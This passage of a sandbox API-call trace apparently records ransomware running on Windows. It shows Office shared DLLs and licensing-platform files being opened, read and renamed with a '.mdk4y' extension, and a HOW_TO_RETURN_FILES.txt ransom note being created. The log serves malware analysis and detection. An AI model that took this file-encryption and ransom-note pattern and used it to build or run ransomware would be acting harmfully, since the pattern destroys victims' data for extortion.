nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3fb90, lpOverlapped=0x0) returned 1 [0110.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818619400000) returned 1 [0110.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818619400000) returned 1 [0110.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.mdk4y")) returned 1 [0110.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0110.967] AreFileApisANSI () returned 1 [0110.967] GetACP () returned 0x4e4 [0110.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PRJRES.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PRJRES.DLL", lpUsedDefaultChar=0x37df4c) returned 10 [0110.967] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0110.968] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818619800000) returned 1 [0110.968] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0111.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818629800000) returned 1 [0111.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818629800000) returned 1 [0111.077] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.mdk4y")) returned 1 [0111.078] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.078] AreFileApisANSI () returned 1 [0111.078] GetACP () returned 0x4e4 [0111.078] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RICHED20.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RICHED20.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0111.078] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818630900000) returned 1 [0111.079] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0111.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818636800000) returned 1 [0111.139] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818636900000) returned 1 [0111.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.mdk4y")) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.153] AreFileApisANSI () returned 1 [0111.153] GetACP () returned 0x4e4 [0111.153] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SERCONV.DLL", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SERCONV.DLLL", lpUsedDefaultChar=0x37df4c) returned 11 [0111.153] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818638400000) returned 1 [0111.154] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x90778, lpOverlapped=0x0) returned 1 [0111.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818641400000) returned 1 [0111.184] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818641400000) returned 1 [0111.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.mdk4y")) returned 1 [0111.192] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.192] AreFileApisANSI () returned 1 [0111.192] GetACP () returned 0x4e4 [0111.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="USP10.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="USP10.DLLLL", lpUsedDefaultChar=0x37df4c) returned 9 [0111.192] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.209] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818643900000) returned 1 [0111.209] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc6b00, lpOverlapped=0x0) returned 1 [0111.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818649500000) returned 1 [0111.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818649500000) returned 1 [0111.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.mdk4y")) returned 1 [0111.273] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.273] AreFileApisANSI () returned 1 [0111.273] GetACP () returned 0x4e4 [0111.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VBAJET32.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="VBAJET32.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0111.273] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.274] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818650400000) returned 1 [0111.274] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc150, lpOverlapped=0x0) returned 1 [0111.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818652100000) returned 1 [0111.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818652100000) returned 1 [0111.292] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.mdk4y")) returned 1 [0111.293] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.293] AreFileApisANSI () returned 1 [0111.293] GetACP () returned 0x4e4 [0111.293] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WISC30.DLL", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="WISC30.DLLLL", lpUsedDefaultChar=0x37df4c) returned 10 [0111.293] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.340] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818657000000) returned 1 [0111.340] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x23f90, lpOverlapped=0x0) returned 1 [0111.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818657200000) returned 1 [0111.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818657300000) returned 1 [0111.344] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.mdk4y")) returned 1 [0111.345] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0111.345] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0111.345] AreFileApisANSI () returned 1 [0111.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0111.345] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0111.346] GetFileType (hFile=0x12c) returned 0x1 [0111.347] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0111.347] AreFileApisANSI () returned 1 [0111.347] GetACP () returned 0x4e4 [0111.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeSoftwareProtectionPlatform", cchWideChar=32, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="OfficeSoftwareProtectionPlatformRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dfd8) returned 32 [0111.347] AreFileApisANSI () returned 1 [0111.347] GetACP () returned 0x4e4 [0111.347] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x692108, cbMultiByte=80, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\瞇7ọ瞌腒\x13￾￿㡺瞈㑲瞈") returned 80 [0111.360] AreFileApisANSI () returned 1 [0111.360] GetACP () returned 0x4e4 [0111.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0111.360] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.360] AreFileApisANSI () returned 1 [0111.360] GetACP () returned 0x4e4 [0111.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0111.360] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.360] AreFileApisANSI () returned 1 [0111.360] GetACP () returned 0x4e4 [0111.360] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPC.DLL", cchWideChar=9, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPC.DLL\\Microsoft Shared\\OFFICE14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 9 [0111.360] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818659100000) returned 1 [0111.361] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x24500, lpOverlapped=0x0) returned 1 [0111.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818663100000) returned 1 [0111.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818663100000) returned 1 [0111.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll.mdk4y")) returned 1 [0111.403] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.403] AreFileApisANSI () returned 1 [0111.403] GetACP () returned 0x4e4 [0111.403] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPCEXT.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPCEXT.DLLcrosoft Shared\\OFFICE14\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 12 [0111.403] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818672100000) returned 1 [0111.491] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0111.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818696900000) returned 1 [0111.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818697600000) returned 1 [0111.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.mdk4y")) returned 1 [0111.755] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.755] AreFileApisANSI () returned 1 [0111.755] GetACP () returned 0x4e4 [0111.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osppobjs-spp-plugin-manifest-signed.xrm-ms", cchWideChar=42, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="osppobjs-spp-plugin-manifest-signed.xrm-ms_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 42 [0111.756] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.756] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818698600000) returned 1 [0111.756] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2d7e, lpOverlapped=0x0) returned 1 [0111.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818699800000) returned 1 [0111.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818699800000) returned 1 [0111.768] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.mdk4y")) returned 1 [0111.769] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.769] AreFileApisANSI () returned 1 [0111.769] GetACP () returned 0x4e4 [0111.769] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPOBJS.DLL", cchWideChar=12, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPOBJS.DLL-plugin-manifest-signed.xrm-ms", lpUsedDefaultChar=0x37df4c) returned 12 [0111.769] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.769] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818699900000) returned 1 [0111.770] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0111.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818712200000) returned 1 [0111.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818712200000) returned 1 [0111.935] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.mdk4y")) returned 1 [0111.936] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0111.936] AreFileApisANSI () returned 1 [0111.936] GetACP () returned 0x4e4 [0111.936] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPREARM.EXE", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPREARM.EXEplugin-manifest-signed.xrm-ms", lpUsedDefaultChar=0x37df4c) returned 13 [0111.936] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0111.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818718100000) returned 1 [0111.952] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3d60, lpOverlapped=0x0) returned 1 [0112.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818727300000) returned 1 [0112.043] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818727300000) returned 1 [0112.043] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.mdk4y")) returned 1 [0112.044] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0112.044] AreFileApisANSI () returned 1 [0112.044] GetACP () returned 0x4e4 [0112.044] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OSPPSVC.EXE", cchWideChar=11, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OSPPSVC.EXEXE", lpUsedDefaultChar=0x37df4c) returned 11 [0112.044] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0112.044] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818727400000) returned 1 [0112.044] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0112.117] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1818734700000) returned 1 [0112.117] QueryPerformanceCounter (in: 